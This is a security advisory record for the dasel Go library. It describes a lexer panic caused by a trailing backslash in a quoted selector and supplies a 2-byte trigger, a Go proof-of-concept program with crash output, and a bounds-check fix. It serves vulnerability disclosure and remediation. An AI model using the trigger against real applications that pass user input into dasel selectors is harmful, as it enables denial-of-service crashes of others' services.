{"id":"GHSA-m5j3-4634-c2vq","summary":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string","details":"### Summary\n\n`dasel`'s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `\"\\` or `'\\`). A 2-byte input causes an immediate process crash via Go runtime panic.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194):\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check\n    pos++\n    continue\n}\n```\n\nWhen a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check.\n\nMinimal trigger: `\"\\` or `'\\` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{`\"\\`, `'\\`} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tfunc() {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tfmt.Printf(\"PANIC: %v\\n\", r)\n\t\t\t\t\tdebug.PrintStack()\n\t\t\t\t}\n\t\t\t}()\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\ttokens, err := t.Tokenize()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"OK: %d tokens\\n\", len(tokens))\n\t\t\t}\n\t\t}()\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: \"\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n\nInput: '\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nAdd a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings:\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    if pos \u003e= p.srcLen {\n        return Token{}, &UnexpectedEOFError{Pos: pos}\n    }\n    buf = append(buf, rune(p.src[pos]))\n    pos++\n    continue\n}\n```","aliases":["CVE-2026-46377","GO-2026-5491"],"modified":"2026-07-17T21:09:06.137747294Z","published":"2026-05-19T20:08:12Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-129"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-19T20:08:12Z"},"references":[{"type":"WEB","url":"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"},{"type":"PACKAGE","url":"https://github.com/TomWright/dasel"}],"affected":[{"package":{"name":"github.com/tomwright/dasel/v3","ecosystem":"Go","purl":"pkg:golang/github.com/tomwright/dasel/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"last_affected":"3.10.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m5j3-4634-c2vq/GHSA-m5j3-4634-c2vq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}